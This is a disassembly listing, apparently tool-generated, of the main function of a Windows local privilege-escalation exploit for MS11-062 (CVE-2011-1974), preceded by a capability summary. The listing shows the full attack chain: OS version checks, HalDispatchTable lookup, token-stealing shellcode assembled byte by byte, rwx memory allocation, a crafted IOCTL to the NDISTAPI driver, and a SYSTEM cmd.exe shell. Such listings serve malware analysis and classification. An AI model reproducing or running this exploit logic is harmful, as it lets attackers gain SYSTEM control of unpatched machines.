Function at 0x4015ee
Capabilities:
Allocate or change rwx memory
Check if file exists
Check os version
Contain obfuscated stackstrings
Execute command
Execute shellcode via indirect call
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x164
call dbg.__main
mov dword [esp], str.___MS11_062__CVE_2011_1974__x86_exploit
call sym._puts
mov dword [esp], str.______by_Tomislav_Paskalev
call sym._puts
mov dword [esp], str.___Identifying_OS
call sym._puts
call sym._IsWow64
test eax, eax
je 0x40164a
mov dword [esp], str._______64_bit
call sym._puts
mov eax, 0xffffffff
jmp 0x401fc1
mov dword [esp], str.______32_bit
call sym._puts
mov dword [esp + 8], 0x9c
mov dword [esp + 4], 0
lea eax, [ebp - 0xe0]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0xe0], 0x9c
lea eax, [ebp - 0xe0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetVersionExA]
call eax
sub esp, 4
mov eax, dword [ebp - 0xdc]
cmp eax, 5
jne 0x4016ec
mov eax, dword [ebp - 0xd8]
cmp eax, 1
jne 0x4016ec
movzx eax, word [ebp - 0x4c]
cmp ax, 3
jne 0x4016ec
mov dword [esp], str.______Windows_XP_SP3
call sym._puts
mov byte [ebp - 9], 0x44
mov byte [ebp - 0xa], 0xc8
mov byte [ebp - 0xb], 0x84
mov byte [ebp - 0xc], 0x88
mov dword [ebp - 0x13c], str.KB2566454
lea eax, [ebp - 0x13c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 1
jmp 0x401793
mov eax, dword [ebp - 0xdc]
cmp eax, 5
jne 0x401759
mov eax, dword [ebp - 0xd8]
cmp eax, 2
jne 0x401759
movzx eax, word [ebp - 0x4c]
cmp ax, 2
jne 0x401759
mov dword [esp], 0x59
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
test eax, eax
jne 0x401759
mov dword [esp], str.______Windows_Server_2003_SP2
call sym._puts
mov byte [ebp - 9], 0x38
mov byte [ebp - 0xa], 0xd8
mov byte [ebp - 0xb], 0x94
mov byte [ebp - 0xc], 0x98
mov dword [ebp - 0x140], str.KB2566454
lea eax, [ebp - 0x140]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 1
jmp 0x401793
mov dword [esp], str._______Unsupported_version
call sym._puts
mov dword [esp], str._________Affected_32_bit_operating_systems
call sym._puts
mov dword [esp], str.____________Windows_XP_SP3
call sym._puts
mov dword [esp], str.____________Windows_Server_2003_SP2
call sym._puts
mov eax, 0xffffffff
jmp 0x401fc1
mov dword [esp], str.___Locating_required_OS_components
call sym._puts
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.ZwQuerySystemInformation
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0xe4]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
lea eax, [ebp - 0xe4]
mov dword [esp + 4], eax
mov dword [esp], 0xb
mov eax, dword [ebp - 0x28]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xe4]
shl eax, 2
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x401823
mov dword [esp], str._______Could_not_allocate_memory
call sym._printf
mov eax, 0xffffffff
jmp 0x401fc1
mov eax, dword [ebp - 0xe4]
shl eax, 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov dword [esp], 0xb
mov eax, dword [ebp - 0x28]
call eax
sub esp, 0x10
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x2c]
add eax, 4
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x18], 0
jmp 0x401955
mov eax, dword [ebp - 0x18]
imul edx, eax, 0x11c
mov eax, dword [ebp - 0x30]
add eax, edx
add eax, 0x1c
mov dword [esp + 4], str.ntkrnlpa.exe
mov dword [esp], eax
call sym._strstr
test eax, eax
je 0x4018df
mov dword [esp], str.______ntkrnlpa.exe
call sym._puts
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], str.ntkrnlpa.exe
mov eax, dword [sym.imp.KERNEL32.DLL_LoadLibraryExA]
call eax
sub esp, 0xc
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
imul edx, eax, 0x11c
mov eax, dword [ebp - 0x30]
add eax, edx
mov eax, dword [eax + 8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], 1
jmp 0x401963
mov eax, dword [ebp - 0x18]
imul edx, eax, 0x11c
mov eax, dword [ebp - 0x30]
add eax, edx
add eax, 0x1c
mov dword [esp + 4], str.ntoskrnl.exe
mov dword [esp], eax
call sym._strstr
test eax, eax
je 0x401951
mov dword [esp], str.______ntoskrnl.exe
call sym._puts
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], str.ntoskrnl.exe
mov eax, dword [sym.imp.KERNEL32.DLL_LoadLibraryExA]
call eax
sub esp, 0xc
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
imul edx, eax, 0x11c
mov eax, dword [ebp - 0x30]
add eax, edx
mov eax, dword [eax + 8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], 1
jmp 0x401963
add dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x18]
ja 0x40186a
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0x405248
call sym._printf
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], str._________Offset:________010x_n
call sym._printf
cmp dword [ebp - 0x24], 0
jne 0x4019a5
mov dword [esp], str._______Could_not_find_ntkrnlpa.exe_ntoskrnl.exe
call sym._puts
mov eax, 0xffffffff
jmp 0x401fc1
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._free
mov dword [esp + 4], str.HalDispatchTable
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x4019e7
mov dword [esp], str.__________Could_not_find_HalDispatchTable
call sym._puts
mov eax, 0xffffffff
jmp 0x401fc1
mov dword [esp], str._________HalDispatchTable
call sym._puts
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov dword [esp], str.____________Offset:_____010x_n
call sym._printf
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x34]
sub edx, eax
mov eax, edx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x38], eax
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.NtQueryIntervalProfile
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x401a5e
mov dword [esp], str._______Could_not_find_NtQueryIntervalProfile
call sym._puts
mov eax, 0xffffffff
jmp 0x401fc1
mov dword [esp], str.______NtQueryIntervalProfile
call sym._puts
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov dword [esp], 0x405248
call sym._printf
mov dword [esp], str.___Creating_token_stealing_shellcode
call sym._puts
mov byte [ebp - 0x124], 0x52
mov byte [ebp - 0x123], 0x53
mov byte [ebp - 0x122], 0x33
mov byte [ebp - 0x121], 0xc0
mov byte [ebp - 0x120], 0x64
mov byte [ebp - 0x11f], 0x8b
mov byte [ebp - 0x11e], pe_nt_image_headers32
mov byte [ebp - 0x11d], 0x24
mov byte [ebp - 0x11c], 1
mov byte [ebp - 0x11b], 0
mov byte [ebp - 0x11a], 0
mov byte [ebp - 0x119], 0x8b
mov byte [ebp - 0x118], 0x40
movzx eax, byte [ebp - 9]
mov byte [ebp - 0x117], al
mov byte [ebp - 0x116], 0x8b
mov byte [ebp - 0x115], 0xc8
mov byte [ebp - 0x114], 0x8b
mov byte [ebp - 0x113], 0x98
movzx eax, byte [ebp - 0xa]
mov byte [ebp - 0x112], al
mov byte [ebp - 0x111], 0
mov byte [ebp - 0x110], 0
mov byte [ebp - 0x10f], 0
mov byte [ebp - 0x10e], 0x8b
mov byte [ebp - 0x10d], pe_nt_image_headers32
movzx eax, byte [ebp - 0xc]
mov byte [ebp - 0x10c], al
mov byte [ebp - 0x10b], 0
mov byte [ebp - 0x10a], 0
mov byte [ebp - 0x109], 0
mov byte [ebp - 0x108], 0x81
mov byte [ebp - 0x107], 0xe8
movzx eax, byte [ebp - 0xc]
mov byte [ebp - 0x106], al
mov byte [ebp - 0x105], 0
mov byte [ebp - 0x104], 0
mov byte [ebp - 0x103], 0
mov byte [ebp - 0x102], 0x81
mov byte [ebp - 0x101], 0xb8
movzx eax, byte [ebp - 0xb]
mov byte [ebp - 0x100], al
mov byte [ebp - 0xff], 0
mov byte [ebp - 0xfe], 0
mov byte [ebp - 0xfd], 0
mov byte [ebp - 0xfc], 4
mov byte [ebp - 0xfb], 0
mov byte [ebp - 0xfa], 0
mov byte [ebp - 0xf9], 0
mov byte [ebp - 0xf8], 0x75
mov byte [ebp - 0xf7], 0xe8
mov byte [ebp - 0xf6], 0x8b
mov byte [ebp - 0xf5], 0x90
movzx eax, byte [ebp - 0xa]
mov byte [ebp - 0xf4], al
mov byte [ebp - 0xf3], 0
mov byte [ebp - 0xf2], 0
mov byte [ebp - 0xf1], 0
mov byte [ebp - 0xf0], 0x8b
mov byte [ebp - 0xef], 0xc1
mov byte [ebp - 0xee], 0x89
mov byte [ebp - 0xed], 0x90
movzx eax, byte [ebp - 0xa]
mov byte [ebp - 0xec], al
mov byte [ebp - 0xeb], 0
mov byte [ebp - 0xea], 0
mov byte [ebp - 0xe9], 0
mov byte [ebp - 0xe8], 0x5b
mov byte [ebp - 0xe7], 0x5a
mov byte [ebp - 0xe6], 0xc2
mov byte [ebp - 0xe5], 8
mov dword [esp], str.______Shellcode_assembled
call sym._puts
mov dword [esp], str.______Allocating_memory
call sym._puts
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x40
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
test eax, eax
jne 0x401cd0
mov eax, dword [sym.imp.KERNEL32.DLL_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.__________Failed__error_code:__d__n
call sym._printf
mov eax, 0xffffffff
jmp 0x401fc1
mov eax, dword [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], str._________Address:_______010x_n
call sym._printf
mov eax, dword [ebp - 0x128]
mov edx, dword [ebp - 0x124]
mov dword [eax], edx
mov edx, dword [ebp - 0x120]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x11c]
mov dword [eax + 8], edx
mov edx, dword [ebp - 0x118]
mov dword [eax + 0xc], edx
mov edx, dword [ebp - 0x114]
mov dword [eax + 0x10], edx
mov edx, dword [ebp - 0x110]
mov dword [eax + 0x14], edx
mov edx, dword [ebp - 0x10c]
mov dword [eax + 0x18], edx
mov edx, dword [ebp - 0x108]
mov dword [eax + 0x1c], edx
mov edx, dword [ebp - 0x104]
mov dword [eax + 0x20], edx
mov edx, dword [ebp - 0x100]
mov dword [eax + 0x24], edx
mov edx, dword [ebp - 0xfc]
mov dword [eax + 0x28], edx
mov edx, dword [ebp - 0xf8]
mov dword [eax + 0x2c], edx
mov edx, dword [ebp - 0xf4]
mov dword [eax + 0x30], edx
mov edx, dword [ebp - 0xf0]
mov dword [eax + 0x34], edx
mov edx, dword [ebp - 0xec]
mov dword [eax + 0x38], edx
mov edx, dword [ebp - 0xe8]
mov dword [eax + 0x3c], edx
mov dword [esp], str._________Shellcode_copied
call sym._puts
mov dword [esp], str.___Exploiting_vulnerability
call sym._puts
mov dword [ebp - 0x40], 0
mov dword [esp], str.______Opening_NDISTAPI_device_driver
call sym._puts
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xc0000000
mov dword [esp], str..NDISTAPI
mov eax, dword [sym.imp.KERNEL32.DLL_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xffffffff
jne 0x401e3f
mov eax, dword [sym.imp.KERNEL32.DLL_GetLastError]
call eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jne 0x401e22
mov dword [esp], str.__________Remote_Access_Service_not_started
call sym._puts
mov dword [esp], str.____________run__sc_start_remoteaccess_
call sym._puts
mov eax, 0xffffffff
jmp 0x401fc1
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
mov dword [esp], str.__________Failed__error_code:__d__n
call sym._printf
mov eax, 0xffffffff
jmp 0x401fc1
mov dword [esp], str._________Done
call sym._puts
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
lea eax, [ebp - 0x134]
add eax, 4
mov edx, dword [ebp - 0x128]
mov dword [eax], edx
mov dword [esp], str.______Calling_vulnerable_function
call sym._puts
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x1c], 0
lea edx, [ebp - 0x12c]
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 8
lea eax, [ebp - 0x134]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x8fff23d4
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
call eax
sub esp, 0x20
test eax, eax
jne 0x401f51
mov eax, dword [sym.imp.KERNEL32.DLL_GetLastError]
call eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x7a
jne 0x401f37
mov dword [esp], str.__________Target_patched
call sym._puts
mov dword [esp], str.____________Possible_security_patches
call sym._puts
mov dword [ebp - 0x18], 0
jmp 0x401f25
mov eax, dword [ebp - 0x18]
lea edx, [eax*4]
mov eax, dword [ebp - 0x10]
add eax, edx
mov eax, dword [eax]
mov dword [esp + 4], eax
mov dword [esp], str.________________s_n
call sym._printf
add dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x18], eax
jb 0x401f00
mov eax, 0xffffffff
jmp 0x401fc1
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
mov dword [esp], str.__________Failed__error_code:__d__n
call sym._printf
mov eax, 0xffffffff
jmp 0x401fc1
mov dword [esp], str._________Done
call sym._puts
mov dword [esp], str._________Elevating_privileges_to_SYSTEM
call sym._puts
mov dword [ebp - 0x138], 0
lea eax, [ebp - 0x138]
mov dword [esp + 4], eax
mov dword [esp], 2
mov eax, dword [ebp - 0x3c]
call eax
sub esp, 8
mov dword [esp], str.____________Done
call sym._puts
mov dword [esp], str.____________Spawning_shell
call sym._puts
mov dword [esp], str.c:windows_system32cmd.exe__K_cd_c:windows_system32
call sym._system
mov dword [esp], str._n___Exiting_SYSTEM_shell
call sym._puts
mov eax, 1
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret